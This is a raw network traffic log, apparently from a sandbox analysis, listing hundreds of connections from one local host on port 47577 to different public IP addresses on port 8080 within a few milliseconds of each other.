Mar 4, 2024 15:05:34.168623924 CET	47577	8080	192.168.2.13	62.252.243.200
Mar 4, 2024 15:05:34.168623924 CET	47577	8080	192.168.2.13	95.69.6.237
Mar 4, 2024 15:05:34.168623924 CET	47577	8080	192.168.2.13	62.77.65.131
Mar 4, 2024 15:05:34.168636084 CET	47577	8080	192.168.2.13	62.241.167.182
Mar 4, 2024 15:05:34.168636084 CET	47577	8080	192.168.2.13	95.41.76.42
Mar 4, 2024 15:05:34.168636084 CET	47577	8080	192.168.2.13	95.12.47.79
Mar 4, 2024 15:05:34.168648958 CET	47577	8080	192.168.2.13	31.89.98.227
Mar 4, 2024 15:05:34.168648958 CET	47577	8080	192.168.2.13	62.117.80.118
Mar 4, 2024 15:05:34.168662071 CET	47577	8080	192.168.2.13	95.99.181.162
Mar 4, 2024 15:05:34.168662071 CET	47577	8080	192.168.2.13	95.66.131.229
Mar 4, 2024 15:05:34.168662071 CET	47577	8080	192.168.2.13	95.86.172.2
Mar 4, 2024 15:05:34.168673992 CET	47577	8080	192.168.2.13	62.85.84.130
Mar 4, 2024 15:05:34.168675900 CET	47577	8080	192.168.2.13	94.104.4.156
Mar 4, 2024 15:05:34.168689966 CET	47577	8080	192.168.2.13	62.184.108.71
Mar 4, 2024 15:05:34.168689966 CET	47577	8080	192.168.2.13	94.209.68.146
Mar 4, 2024 15:05:34.168694973 CET	47577	8080	192.168.2.13	31.76.13.194
Mar 4, 2024 15:05:34.168694973 CET	47577	8080	192.168.2.13	95.233.159.214
Mar 4, 2024 15:05:34.168694973 CET	47577	8080	192.168.2.13	95.192.224.200
Mar 4, 2024 15:05:34.168706894 CET	47577	8080	192.168.2.13	94.106.23.67
Mar 4, 2024 15:05:34.168708086 CET	47577	8080	192.168.2.13	94.47.143.206
Mar 4, 2024 15:05:34.168725014 CET	47577	8080	192.168.2.13	95.159.103.34
Mar 4, 2024 15:05:34.168726921 CET	47577	8080	192.168.2.13	94.237.16.97
Mar 4, 2024 15:05:34.168730021 CET	47577	8080	192.168.2.13	94.183.238.148
Mar 4, 2024 15:05:34.168732882 CET	47577	8080	192.168.2.13	85.114.191.11
Mar 4, 2024 15:05:34.168735027 CET	47577	8080	192.168.2.13	62.137.181.99
Mar 4, 2024 15:05:34.168735027 CET	47577	8080	192.168.2.13	62.213.134.181
Mar 4, 2024 15:05:34.168740988 CET	47577	8080	192.168.2.13	85.9.65.143
Mar 4, 2024 15:05:34.168747902 CET	47577	8080	192.168.2.13	85.128.152.128
Mar 4, 2024 15:05:34.168747902 CET	47577	8080	192.168.2.13	85.235.146.155
Mar 4, 2024 15:05:34.168750048 CET	47577	8080	192.168.2.13	31.183.114.21
Mar 4, 2024 15:05:34.168752909 CET	47577	8080	192.168.2.13	95.99.87.232
Mar 4, 2024 15:05:34.168752909 CET	47577	8080	192.168.2.13	31.36.65.4
Mar 4, 2024 15:05:34.168765068 CET	47577	8080	192.168.2.13	94.154.2.44
Mar 4, 2024 15:05:34.168765068 CET	47577	8080	192.168.2.13	85.0.43.175
Mar 4, 2024 15:05:34.168775082 CET	47577	8080	192.168.2.13	95.95.160.85
Mar 4, 2024 15:05:34.168780088 CET	47577	8080	192.168.2.13	62.6.247.142
Mar 4, 2024 15:05:34.168780088 CET	47577	8080	192.168.2.13	95.54.198.26
Mar 4, 2024 15:05:34.168781996 CET	47577	8080	192.168.2.13	62.207.237.226
Mar 4, 2024 15:05:34.168781996 CET	47577	8080	192.168.2.13	94.109.119.217
Mar 4, 2024 15:05:34.168796062 CET	47577	8080	192.168.2.13	31.102.102.179
Mar 4, 2024 15:05:34.168802023 CET	47577	8080	192.168.2.13	62.117.119.125
Mar 4, 2024 15:05:34.168819904 CET	47577	8080	192.168.2.13	94.28.7.216
Mar 4, 2024 15:05:34.168824911 CET	47577	8080	192.168.2.13	95.167.171.214
Mar 4, 2024 15:05:34.168824911 CET	47577	8080	192.168.2.13	31.158.249.70
Mar 4, 2024 15:05:34.168827057 CET	47577	8080	192.168.2.13	94.79.110.92
Mar 4, 2024 15:05:34.168826103 CET	47577	8080	192.168.2.13	95.114.50.172
Mar 4, 2024 15:05:34.168827057 CET	47577	8080	192.168.2.13	94.58.158.198
Mar 4, 2024 15:05:34.168827057 CET	47577	8080	192.168.2.13	95.40.129.83
Mar 4, 2024 15:05:34.168827057 CET	47577	8080	192.168.2.13	85.64.192.230
Mar 4, 2024 15:05:34.168833971 CET	47577	8080	192.168.2.13	31.78.103.158
Mar 4, 2024 15:05:34.168834925 CET	47577	8080	192.168.2.13	85.143.217.29
Mar 4, 2024 15:05:34.168834925 CET	47577	8080	192.168.2.13	85.185.216.232
Mar 4, 2024 15:05:34.168857098 CET	47577	8080	192.168.2.13	85.172.85.52
Mar 4, 2024 15:05:34.168857098 CET	47577	8080	192.168.2.13	62.230.119.20
Mar 4, 2024 15:05:34.168859005 CET	47577	8080	192.168.2.13	62.142.18.156
Mar 4, 2024 15:05:34.168859005 CET	47577	8080	192.168.2.13	95.157.191.98
Mar 4, 2024 15:05:34.168859005 CET	47577	8080	192.168.2.13	85.211.168.221
Mar 4, 2024 15:05:34.168867111 CET	47577	8080	192.168.2.13	85.229.203.6
Mar 4, 2024 15:05:34.168875933 CET	47577	8080	192.168.2.13	95.44.239.251
Mar 4, 2024 15:05:34.168875933 CET	47577	8080	192.168.2.13	94.36.90.233
Mar 4, 2024 15:05:34.168875933 CET	47577	8080	192.168.2.13	31.202.174.38
Mar 4, 2024 15:05:34.168879032 CET	47577	8080	192.168.2.13	95.92.210.131
Mar 4, 2024 15:05:34.168879986 CET	47577	8080	192.168.2.13	85.212.255.194
Mar 4, 2024 15:05:34.168879986 CET	47577	8080	192.168.2.13	95.111.100.212
Mar 4, 2024 15:05:34.168884993 CET	47577	8080	192.168.2.13	62.164.223.56
Mar 4, 2024 15:05:34.168905020 CET	47577	8080	192.168.2.13	95.19.62.78
Mar 4, 2024 15:05:34.168911934 CET	47577	8080	192.168.2.13	94.224.219.33
Mar 4, 2024 15:05:34.168911934 CET	47577	8080	192.168.2.13	62.201.208.95
Mar 4, 2024 15:05:34.168911934 CET	47577	8080	192.168.2.13	62.88.241.3
Mar 4, 2024 15:05:34.168920994 CET	47577	8080	192.168.2.13	85.174.97.54
Mar 4, 2024 15:05:34.168920994 CET	47577	8080	192.168.2.13	85.122.201.152
Mar 4, 2024 15:05:34.168924093 CET	47577	8080	192.168.2.13	62.221.79.205
Mar 4, 2024 15:05:34.168924093 CET	47577	8080	192.168.2.13	85.79.31.104
Mar 4, 2024 15:05:34.168924093 CET	47577	8080	192.168.2.13	85.75.54.223
Mar 4, 2024 15:05:34.168927908 CET	47577	8080	192.168.2.13	95.85.164.189
Mar 4, 2024 15:05:34.168931961 CET	47577	8080	192.168.2.13	62.38.59.219
Mar 4, 2024 15:05:34.168953896 CET	47577	8080	192.168.2.13	85.227.21.252
Mar 4, 2024 15:05:34.168953896 CET	47577	8080	192.168.2.13	94.37.191.211
Mar 4, 2024 15:05:34.168956041 CET	47577	8080	192.168.2.13	95.183.202.174
Mar 4, 2024 15:05:34.168956995 CET	47577	8080	192.168.2.13	62.4.167.227
Mar 4, 2024 15:05:34.168956995 CET	47577	8080	192.168.2.13	95.49.40.234
Mar 4, 2024 15:05:34.168967009 CET	47577	8080	192.168.2.13	62.207.227.40
Mar 4, 2024 15:05:34.168967009 CET	47577	8080	192.168.2.13	31.45.71.46
Mar 4, 2024 15:05:34.168973923 CET	47577	8080	192.168.2.13	95.204.246.144
Mar 4, 2024 15:05:34.168976068 CET	47577	8080	192.168.2.13	94.191.111.232
Mar 4, 2024 15:05:34.168975115 CET	47577	8080	192.168.2.13	31.227.51.130
Mar 4, 2024 15:05:34.168976068 CET	47577	8080	192.168.2.13	31.163.37.128
Mar 4, 2024 15:05:34.168975115 CET	47577	8080	192.168.2.13	85.11.109.83
Mar 4, 2024 15:05:34.168982983 CET	47577	8080	192.168.2.13	95.6.240.21
Mar 4, 2024 15:05:34.168992043 CET	47577	8080	192.168.2.13	85.195.27.68
Mar 4, 2024 15:05:34.169003963 CET	47577	8080	192.168.2.13	31.29.117.144
Mar 4, 2024 15:05:34.169008017 CET	47577	8080	192.168.2.13	95.91.72.77
Mar 4, 2024 15:05:34.169012070 CET	47577	8080	192.168.2.13	31.205.217.58
Mar 4, 2024 15:05:34.169013023 CET	47577	8080	192.168.2.13	95.50.72.195
Mar 4, 2024 15:05:34.169013023 CET	47577	8080	192.168.2.13	31.27.247.231
Mar 4, 2024 15:05:34.169015884 CET	47577	8080	192.168.2.13	95.68.216.70
Mar 4, 2024 15:05:34.169015884 CET	47577	8080	192.168.2.13	62.195.99.115
Mar 4, 2024 15:05:34.169019938 CET	47577	8080	192.168.2.13	95.118.63.27
Mar 4, 2024 15:05:34.169020891 CET	47577	8080	192.168.2.13	31.5.33.86
Mar 4, 2024 15:05:34.169020891 CET	47577	8080	192.168.2.13	94.105.151.232
Mar 4, 2024 15:05:34.169022083 CET	47577	8080	192.168.2.13	31.105.4.33
Mar 4, 2024 15:05:34.169023037 CET	47577	8080	192.168.2.13	62.53.196.50
Mar 4, 2024 15:05:34.169023037 CET	47577	8080	192.168.2.13	85.7.30.158
Mar 4, 2024 15:05:34.169023037 CET	47577	8080	192.168.2.13	85.136.100.71
Mar 4, 2024 15:05:34.169044971 CET	47577	8080	192.168.2.13	94.230.58.19
Mar 4, 2024 15:05:34.169045925 CET	47577	8080	192.168.2.13	95.221.78.231
Mar 4, 2024 15:05:34.169050932 CET	47577	8080	192.168.2.13	94.160.195.65
Mar 4, 2024 15:05:34.169054985 CET	47577	8080	192.168.2.13	94.157.187.196
Mar 4, 2024 15:05:34.169059038 CET	47577	8080	192.168.2.13	85.251.49.47
Mar 4, 2024 15:05:34.169069052 CET	47577	8080	192.168.2.13	94.244.122.12
Mar 4, 2024 15:05:34.169071913 CET	47577	8080	192.168.2.13	31.161.222.12
Mar 4, 2024 15:05:34.169078112 CET	47577	8080	192.168.2.13	85.28.197.228
Mar 4, 2024 15:05:34.169078112 CET	47577	8080	192.168.2.13	85.192.212.13
Mar 4, 2024 15:05:34.169096947 CET	47577	8080	192.168.2.13	94.247.89.170
Mar 4, 2024 15:05:34.169102907 CET	47577	8080	192.168.2.13	94.178.16.196
Mar 4, 2024 15:05:34.169102907 CET	47577	8080	192.168.2.13	94.83.170.78
Mar 4, 2024 15:05:34.169106007 CET	47577	8080	192.168.2.13	94.28.105.195
Mar 4, 2024 15:05:34.169106007 CET	47577	8080	192.168.2.13	95.8.246.16
Mar 4, 2024 15:05:34.169112921 CET	47577	8080	192.168.2.13	85.18.171.118
Mar 4, 2024 15:05:34.169112921 CET	47577	8080	192.168.2.13	31.127.231.144
Mar 4, 2024 15:05:34.169117928 CET	47577	8080	192.168.2.13	94.232.62.176
Mar 4, 2024 15:05:34.169117928 CET	47577	8080	192.168.2.13	62.207.16.44
Mar 4, 2024 15:05:34.169123888 CET	47577	8080	192.168.2.13	31.61.150.1
Mar 4, 2024 15:05:34.169123888 CET	47577	8080	192.168.2.13	95.7.110.196
Mar 4, 2024 15:05:34.169123888 CET	47577	8080	192.168.2.13	31.41.127.209
Mar 4, 2024 15:05:34.169123888 CET	47577	8080	192.168.2.13	85.9.34.220
Mar 4, 2024 15:05:34.169127941 CET	47577	8080	192.168.2.13	62.193.164.162
Mar 4, 2024 15:05:34.169137001 CET	47577	8080	192.168.2.13	94.119.222.163
Mar 4, 2024 15:05:34.169137001 CET	47577	8080	192.168.2.13	62.148.175.155
Mar 4, 2024 15:05:34.169137955 CET	47577	8080	192.168.2.13	85.171.129.124
Mar 4, 2024 15:05:34.169138908 CET	47577	8080	192.168.2.13	62.20.209.146
Mar 4, 2024 15:05:34.169141054 CET	47577	8080	192.168.2.13	85.70.121.109
Mar 4, 2024 15:05:34.169138908 CET	47577	8080	192.168.2.13	95.169.187.183
Mar 4, 2024 15:05:34.169141054 CET	47577	8080	192.168.2.13	94.216.44.250
Mar 4, 2024 15:05:34.169137955 CET	47577	8080	192.168.2.13	62.21.122.131
Mar 4, 2024 15:05:34.169137955 CET	47577	8080	192.168.2.13	94.94.202.130
Mar 4, 2024 15:05:34.169141054 CET	47577	8080	192.168.2.13	94.12.189.205
Mar 4, 2024 15:05:34.169137955 CET	47577	8080	192.168.2.13	85.124.136.150
Mar 4, 2024 15:05:34.169140100 CET	47577	8080	192.168.2.13	31.89.184.101
Mar 4, 2024 15:05:34.169154882 CET	47577	8080	192.168.2.13	62.164.101.129
Mar 4, 2024 15:05:34.169157028 CET	47577	8080	192.168.2.13	62.61.37.118
Mar 4, 2024 15:05:34.169157982 CET	47577	8080	192.168.2.13	31.143.35.69
Mar 4, 2024 15:05:34.169157982 CET	47577	8080	192.168.2.13	31.78.174.49
Mar 4, 2024 15:05:34.169171095 CET	47577	8080	192.168.2.13	85.236.100.46
Mar 4, 2024 15:05:34.169178009 CET	47577	8080	192.168.2.13	85.224.102.84
Mar 4, 2024 15:05:34.169183969 CET	47577	8080	192.168.2.13	94.237.111.162
Mar 4, 2024 15:05:34.169183969 CET	47577	8080	192.168.2.13	62.133.10.161
Mar 4, 2024 15:05:34.169190884 CET	47577	8080	192.168.2.13	31.37.155.82
Mar 4, 2024 15:05:34.169198036 CET	47577	8080	192.168.2.13	85.104.134.143
Mar 4, 2024 15:05:34.169209957 CET	47577	8080	192.168.2.13	85.141.249.33
Mar 4, 2024 15:05:34.169212103 CET	47577	8080	192.168.2.13	62.179.155.75
Mar 4, 2024 15:05:34.169210911 CET	47577	8080	192.168.2.13	94.184.232.82
Mar 4, 2024 15:05:34.169212103 CET	47577	8080	192.168.2.13	85.185.219.86
Mar 4, 2024 15:05:34.169209957 CET	47577	8080	192.168.2.13	62.73.253.20
Mar 4, 2024 15:05:34.169213057 CET	47577	8080	192.168.2.13	62.58.91.1
Mar 4, 2024 15:05:34.169209957 CET	47577	8080	192.168.2.13	62.43.139.200
Mar 4, 2024 15:05:34.169219971 CET	47577	8080	192.168.2.13	31.153.214.143
Mar 4, 2024 15:05:34.169209957 CET	47577	8080	192.168.2.13	62.91.100.18
Mar 4, 2024 15:05:34.169213057 CET	47577	8080	192.168.2.13	85.18.152.50
Mar 4, 2024 15:05:34.169210911 CET	47577	8080	192.168.2.13	62.191.44.61
Mar 4, 2024 15:05:34.169228077 CET	47577	8080	192.168.2.13	94.136.58.153
Mar 4, 2024 15:05:34.169229984 CET	47577	8080	192.168.2.13	94.197.72.141
Mar 4, 2024 15:05:34.169229984 CET	47577	8080	192.168.2.13	62.234.78.53
Mar 4, 2024 15:05:34.169243097 CET	47577	8080	192.168.2.13	62.114.75.177
Mar 4, 2024 15:05:34.169249058 CET	47577	8080	192.168.2.13	95.116.122.37
Mar 4, 2024 15:05:34.169259071 CET	47577	8080	192.168.2.13	31.98.40.233
Mar 4, 2024 15:05:34.169261932 CET	47577	8080	192.168.2.13	62.59.206.228
Mar 4, 2024 15:05:34.169261932 CET	47577	8080	192.168.2.13	62.104.16.145
Mar 4, 2024 15:05:34.169267893 CET	47577	8080	192.168.2.13	95.210.14.25
Mar 4, 2024 15:05:34.169280052 CET	47577	8080	192.168.2.13	95.100.230.191
Mar 4, 2024 15:05:34.169285059 CET	47577	8080	192.168.2.13	31.120.205.182
Mar 4, 2024 15:05:34.169286013 CET	47577	8080	192.168.2.13	62.128.81.47
Mar 4, 2024 15:05:34.169286013 CET	47577	8080	192.168.2.13	85.7.15.39
Mar 4, 2024 15:05:34.169289112 CET	47577	8080	192.168.2.13	62.198.47.113
Mar 4, 2024 15:05:34.169289112 CET	47577	8080	192.168.2.13	95.3.199.247
Mar 4, 2024 15:05:34.169291973 CET	47577	8080	192.168.2.13	31.122.140.59
Mar 4, 2024 15:05:34.169294119 CET	47577	8080	192.168.2.13	85.106.114.208
Mar 4, 2024 15:05:34.169294119 CET	47577	8080	192.168.2.13	94.165.49.111
Mar 4, 2024 15:05:34.169296026 CET	47577	8080	192.168.2.13	94.185.45.174
Mar 4, 2024 15:05:34.169306040 CET	47577	8080	192.168.2.13	62.22.225.179
Mar 4, 2024 15:05:34.169315100 CET	47577	8080	192.168.2.13	85.113.225.141
Mar 4, 2024 15:05:34.169316053 CET	47577	8080	192.168.2.13	31.246.205.14
Mar 4, 2024 15:05:34.169317961 CET	47577	8080	192.168.2.13	31.174.23.146
Mar 4, 2024 15:05:34.169339895 CET	47577	8080	192.168.2.13	85.191.21.85
Mar 4, 2024 15:05:34.169339895 CET	47577	8080	192.168.2.13	95.103.32.184
Mar 4, 2024 15:05:34.169342995 CET	47577	8080	192.168.2.13	95.216.211.132
Mar 4, 2024 15:05:34.169342995 CET	47577	8080	192.168.2.13	94.184.139.224
Mar 4, 2024 15:05:34.169343948 CET	47577	8080	192.168.2.13	94.199.118.242
Mar 4, 2024 15:05:34.169346094 CET	47577	8080	192.168.2.13	95.229.27.61
Mar 4, 2024 15:05:34.169346094 CET	47577	8080	192.168.2.13	31.29.59.71
Mar 4, 2024 15:05:34.169365883 CET	47577	8080	192.168.2.13	31.249.4.215
Mar 4, 2024 15:05:34.169365883 CET	47577	8080	192.168.2.13	62.77.58.25
Mar 4, 2024 15:05:34.169369936 CET	47577	8080	192.168.2.13	95.207.68.128
Mar 4, 2024 15:05:34.169370890 CET	47577	8080	192.168.2.13	85.63.89.74
Mar 4, 2024 15:05:34.169369936 CET	47577	8080	192.168.2.13	85.151.121.184
Mar 4, 2024 15:05:34.169382095 CET	47577	8080	192.168.2.13	95.108.133.202
Mar 4, 2024 15:05:34.169383049 CET	47577	8080	192.168.2.13	62.144.120.146
Mar 4, 2024 15:05:34.169389963 CET	47577	8080	192.168.2.13	62.54.79.28
Mar 4, 2024 15:05:34.169394016 CET	47577	8080	192.168.2.13	85.62.214.229
Mar 4, 2024 15:05:34.169401884 CET	47577	8080	192.168.2.13	85.241.130.38
Mar 4, 2024 15:05:34.169404030 CET	47577	8080	192.168.2.13	95.249.31.227
Mar 4, 2024 15:05:34.169404030 CET	47577	8080	192.168.2.13	31.35.180.223
Mar 4, 2024 15:05:34.169404984 CET	47577	8080	192.168.2.13	31.240.165.236
Mar 4, 2024 15:05:34.169420004 CET	47577	8080	192.168.2.13	85.6.216.16
Mar 4, 2024 15:05:34.169420004 CET	47577	8080	192.168.2.13	94.48.2.168
Mar 4, 2024 15:05:34.169423103 CET	47577	8080	192.168.2.13	85.175.161.69
Mar 4, 2024 15:05:34.169423103 CET	47577	8080	192.168.2.13	85.103.86.53
Mar 4, 2024 15:05:34.169430017 CET	47577	8080	192.168.2.13	85.161.81.216
Mar 4, 2024 15:05:34.169439077 CET	47577	8080	192.168.2.13	85.61.209.229
Mar 4, 2024 15:05:34.169440031 CET	47577	8080	192.168.2.13	94.34.235.248
Mar 4, 2024 15:05:34.169450998 CET	47577	8080	192.168.2.13	85.244.226.69
Mar 4, 2024 15:05:34.169457912 CET	47577	8080	192.168.2.13	95.52.249.172
Mar 4, 2024 15:05:34.169464111 CET	47577	8080	192.168.2.13	31.196.167.122
Mar 4, 2024 15:05:34.169465065 CET	47577	8080	192.168.2.13	31.54.146.214
Mar 4, 2024 15:05:34.169466972 CET	47577	8080	192.168.2.13	95.10.146.131
Mar 4, 2024 15:05:34.169472933 CET	47577	8080	192.168.2.13	85.107.83.181
Mar 4, 2024 15:05:34.169475079 CET	47577	8080	192.168.2.13	94.96.118.37
Mar 4, 2024 15:05:34.169491053 CET	47577	8080	192.168.2.13	62.140.141.54
Mar 4, 2024 15:05:34.169502020 CET	47577	8080	192.168.2.13	62.228.239.122
Mar 4, 2024 15:05:34.169502020 CET	47577	8080	192.168.2.13	95.181.107.223
Mar 4, 2024 15:05:34.169502020 CET	47577	8080	192.168.2.13	94.11.231.39
Mar 4, 2024 15:05:34.169512987 CET	47577	8080	192.168.2.13	94.98.93.113
Mar 4, 2024 15:05:34.169513941 CET	47577	8080	192.168.2.13	31.198.118.140
Mar 4, 2024 15:05:34.169516087 CET	47577	8080	192.168.2.13	62.253.165.136
Mar 4, 2024 15:05:34.169533014 CET	47577	8080	192.168.2.13	94.142.252.122
Mar 4, 2024 15:05:34.169545889 CET	47577	8080	192.168.2.13	94.204.192.178
Mar 4, 2024 15:05:34.169547081 CET	47577	8080	192.168.2.13	31.23.134.89
Mar 4, 2024 15:05:34.169548988 CET	47577	8080	192.168.2.13	85.149.162.19
Mar 4, 2024 15:05:34.169547081 CET	47577	8080	192.168.2.13	85.108.41.192
Mar 4, 2024 15:05:34.169545889 CET	47577	8080	192.168.2.13	85.0.227.8
Mar 4, 2024 15:05:34.169549942 CET	47577	8080	192.168.2.13	31.183.84.29
Mar 4, 2024 15:05:34.169553041 CET	47577	8080	192.168.2.13	85.8.120.22
Mar 4, 2024 15:05:34.169545889 CET	47577	8080	192.168.2.13	85.80.200.31
Mar 4, 2024 15:05:34.169554949 CET	47577	8080	192.168.2.13	95.177.209.180
Mar 4, 2024 15:05:34.169554949 CET	47577	8080	192.168.2.13	95.138.235.53
Mar 4, 2024 15:05:34.169562101 CET	47577	8080	192.168.2.13	62.56.90.205
Mar 4, 2024 15:05:34.169564962 CET	47577	8080	192.168.2.13	95.58.210.158
Mar 4, 2024 15:05:34.169568062 CET	47577	8080	192.168.2.13	85.219.183.70
Mar 4, 2024 15:05:34.169583082 CET	47577	8080	192.168.2.13	95.78.134.252
Mar 4, 2024 15:05:34.169593096 CET	47577	8080	192.168.2.13	62.89.171.89
Mar 4, 2024 15:05:34.169593096 CET	47577	8080	192.168.2.13	62.184.115.37
Mar 4, 2024 15:05:34.169596910 CET	47577	8080	192.168.2.13	94.78.181.114
Mar 4, 2024 15:05:34.169598103 CET	47577	8080	192.168.2.13	62.12.43.50
Mar 4, 2024 15:05:34.169600010 CET	47577	8080	192.168.2.13	95.131.213.51
Mar 4, 2024 15:05:34.169610977 CET	47577	8080	192.168.2.13	31.240.75.12
Mar 4, 2024 15:05:34.169614077 CET	47577	8080	192.168.2.13	94.114.189.43
Mar 4, 2024 15:05:34.169615030 CET	47577	8080	192.168.2.13	31.92.161.166
Mar 4, 2024 15:05:34.169614077 CET	47577	8080	192.168.2.13	85.196.123.44
Mar 4, 2024 15:05:34.169616938 CET	47577	8080	192.168.2.13	94.110.118.144
Mar 4, 2024 15:05:34.169622898 CET	47577	8080	192.168.2.13	62.0.232.200
Mar 4, 2024 15:05:34.169632912 CET	47577	8080	192.168.2.13	31.118.158.214
Mar 4, 2024 15:05:34.169641018 CET	47577	8080	192.168.2.13	85.241.145.106
Mar 4, 2024 15:05:34.169641972 CET	47577	8080	192.168.2.13	62.111.89.179
Mar 4, 2024 15:05:34.169641972 CET	47577	8080	192.168.2.13	31.30.23.182
Mar 4, 2024 15:05:34.169642925 CET	47577	8080	192.168.2.13	62.251.67.14
Mar 4, 2024 15:05:34.169642925 CET	47577	8080	192.168.2.13	31.151.191.214
Mar 4, 2024 15:05:34.169648886 CET	47577	8080	192.168.2.13	85.74.23.3
Mar 4, 2024 15:05:34.169648886 CET	47577	8080	192.168.2.13	85.164.187.136
Mar 4, 2024 15:05:34.169658899 CET	47577	8080	192.168.2.13	62.151.39.221
Mar 4, 2024 15:05:34.169661999 CET	47577	8080	192.168.2.13	85.120.179.193
Mar 4, 2024 15:05:34.169661999 CET	47577	8080	192.168.2.13	95.13.193.93
Mar 4, 2024 15:05:34.169662952 CET	47577	8080	192.168.2.13	85.173.197.156
Mar 4, 2024 15:05:34.169668913 CET	47577	8080	192.168.2.13	62.161.51.148
Mar 4, 2024 15:05:34.169672966 CET	47577	8080	192.168.2.13	95.26.76.21
Mar 4, 2024 15:05:34.169683933 CET	47577	8080	192.168.2.13	31.33.147.18
Mar 4, 2024 15:05:34.169683933 CET	47577	8080	192.168.2.13	94.93.39.86
Mar 4, 2024 15:05:34.169697046 CET	47577	8080	192.168.2.13	62.95.9.92
Mar 4, 2024 15:05:34.169698000 CET	47577	8080	192.168.2.13	62.223.132.230
Mar 4, 2024 15:05:34.169702053 CET	47577	8080	192.168.2.13	62.79.65.214
Mar 4, 2024 15:05:34.169702053 CET	47577	8080	192.168.2.13	62.229.211.251
Mar 4, 2024 15:05:34.169702053 CET	47577	8080	192.168.2.13	95.195.247.161
Mar 4, 2024 15:05:34.169707060 CET	47577	8080	192.168.2.13	85.104.38.209
Mar 4, 2024 15:05:34.169723034 CET	47577	8080	192.168.2.13	94.52.175.210
Mar 4, 2024 15:05:34.169729948 CET	47577	8080	192.168.2.13	62.187.40.163
Mar 4, 2024 15:05:34.169732094 CET	47577	8080	192.168.2.13	62.121.130.194
Mar 4, 2024 15:05:34.169732094 CET	47577	8080	192.168.2.13	85.75.24.77
Mar 4, 2024 15:05:34.169734001 CET	47577	8080	192.168.2.13	62.10.127.244
Mar 4, 2024 15:05:34.169739962 CET	47577	8080	192.168.2.13	95.52.179.165
Mar 4, 2024 15:05:34.169739008 CET	47577	8080	192.168.2.13	94.21.112.155
Mar 4, 2024 15:05:34.169739962 CET	47577	8080	192.168.2.13	62.143.96.119
Mar 4, 2024 15:05:34.169759035 CET	47577	8080	192.168.2.13	62.62.124.249
Mar 4, 2024 15:05:34.169759035 CET	47577	8080	192.168.2.13	31.15.111.101
Mar 4, 2024 15:05:34.169759035 CET	47577	8080	192.168.2.13	85.248.42.6
Mar 4, 2024 15:05:34.169759035 CET	47577	8080	192.168.2.13	31.177.245.223
Mar 4, 2024 15:05:34.169769049 CET	47577	8080	192.168.2.13	85.242.74.210
Mar 4, 2024 15:05:34.169769049 CET	47577	8080	192.168.2.13	62.7.108.62
Mar 4, 2024 15:05:34.169771910 CET	47577	8080	192.168.2.13	85.183.240.82
Mar 4, 2024 15:05:34.169774055 CET	47577	8080	192.168.2.13	62.178.19.65
Mar 4, 2024 15:05:34.169790030 CET	47577	8080	192.168.2.13	94.129.193.148
Mar 4, 2024 15:05:34.169791937 CET	47577	8080	192.168.2.13	94.46.68.187
Mar 4, 2024 15:05:34.169791937 CET	47577	8080	192.168.2.13	62.184.121.186
Mar 4, 2024 15:05:34.169795990 CET	47577	8080	192.168.2.13	94.43.13.147
Mar 4, 2024 15:05:34.169795990 CET	47577	8080	192.168.2.13	94.131.244.190
Mar 4, 2024 15:05:34.169800043 CET	47577	8080	192.168.2.13	62.79.118.169
Mar 4, 2024 15:05:34.169801950 CET	47577	8080	192.168.2.13	62.135.217.118
Mar 4, 2024 15:05:34.169804096 CET	47577	8080	192.168.2.13	62.189.26.65
Mar 4, 2024 15:05:34.169806004 CET	47577	8080	192.168.2.13	85.191.47.142
Mar 4, 2024 15:05:34.169816017 CET	47577	8080	192.168.2.13	95.213.128.155
Mar 4, 2024 15:05:34.169822931 CET	47577	8080	192.168.2.13	62.198.209.52
Mar 4, 2024 15:05:34.169833899 CET	47577	8080	192.168.2.13	31.63.243.228
Mar 4, 2024 15:05:34.169833899 CET	47577	8080	192.168.2.13	95.206.161.19
Mar 4, 2024 15:05:34.169838905 CET	47577	8080	192.168.2.13	31.94.234.94
Mar 4, 2024 15:05:34.169842005 CET	47577	8080	192.168.2.13	85.233.0.30
Mar 4, 2024 15:05:34.169842005 CET	47577	8080	192.168.2.13	31.148.169.154
Mar 4, 2024 15:05:34.169845104 CET	47577	8080	192.168.2.13	62.241.194.154
Mar 4, 2024 15:05:34.169845104 CET	47577	8080	192.168.2.13	94.42.125.155
Mar 4, 2024 15:05:34.169842005 CET	47577	8080	192.168.2.13	31.222.76.222
Mar 4, 2024 15:05:34.169845104 CET	47577	8080	192.168.2.13	62.63.92.208
Mar 4, 2024 15:05:34.169842005 CET	47577	8080	192.168.2.13	95.215.222.52
Mar 4, 2024 15:05:34.169847965 CET	47577	8080	192.168.2.13	95.203.106.71
Mar 4, 2024 15:05:34.169842005 CET	47577	8080	192.168.2.13	94.165.255.160
Mar 4, 2024 15:05:34.169842005 CET	47577	8080	192.168.2.13	95.52.144.219
Mar 4, 2024 15:05:34.169851065 CET	47577	8080	192.168.2.13	94.80.20.132
Mar 4, 2024 15:05:34.169862986 CET	47577	8080	192.168.2.13	95.163.28.11
Mar 4, 2024 15:05:34.169862986 CET	47577	8080	192.168.2.13	62.110.25.236
Mar 4, 2024 15:05:34.169862986 CET	47577	8080	192.168.2.13	31.77.95.241
Mar 4, 2024 15:05:34.169862986 CET	47577	8080	192.168.2.13	95.1.86.240
Mar 4, 2024 15:05:34.169864893 CET	47577	8080	192.168.2.13	85.61.212.80
Mar 4, 2024 15:05:34.169867039 CET	47577	8080	192.168.2.13	85.30.93.77
Mar 4, 2024 15:05:34.169878960 CET	47577	8080	192.168.2.13	31.144.249.91
Mar 4, 2024 15:05:34.169878960 CET	47577	8080	192.168.2.13	85.50.151.205
Mar 4, 2024 15:05:34.169893026 CET	47577	8080	192.168.2.13	31.192.68.82
Mar 4, 2024 15:05:34.169892073 CET	47577	8080	192.168.2.13	62.223.35.101
Mar 4, 2024 15:05:34.169893026 CET	47577	8080	192.168.2.13	85.234.125.143
Mar 4, 2024 15:05:34.169893026 CET	47577	8080	192.168.2.13	31.73.163.87
Mar 4, 2024 15:05:34.169898987 CET	47577	8080	192.168.2.13	62.155.201.16
Mar 4, 2024 15:05:34.169905901 CET	47577	8080	192.168.2.13	62.20.226.93
Mar 4, 2024 15:05:34.169905901 CET	47577	8080	192.168.2.13	62.70.93.6
Mar 4, 2024 15:05:34.169917107 CET	47577	8080	192.168.2.13	31.142.94.216
Mar 4, 2024 15:05:34.169917107 CET	47577	8080	192.168.2.13	94.136.105.100
Mar 4, 2024 15:05:34.169919014 CET	47577	8080	192.168.2.13	62.141.94.37
Mar 4, 2024 15:05:34.169917107 CET	47577	8080	192.168.2.13	95.173.236.82
Mar 4, 2024 15:05:34.169930935 CET	47577	8080	192.168.2.13	95.207.70.25
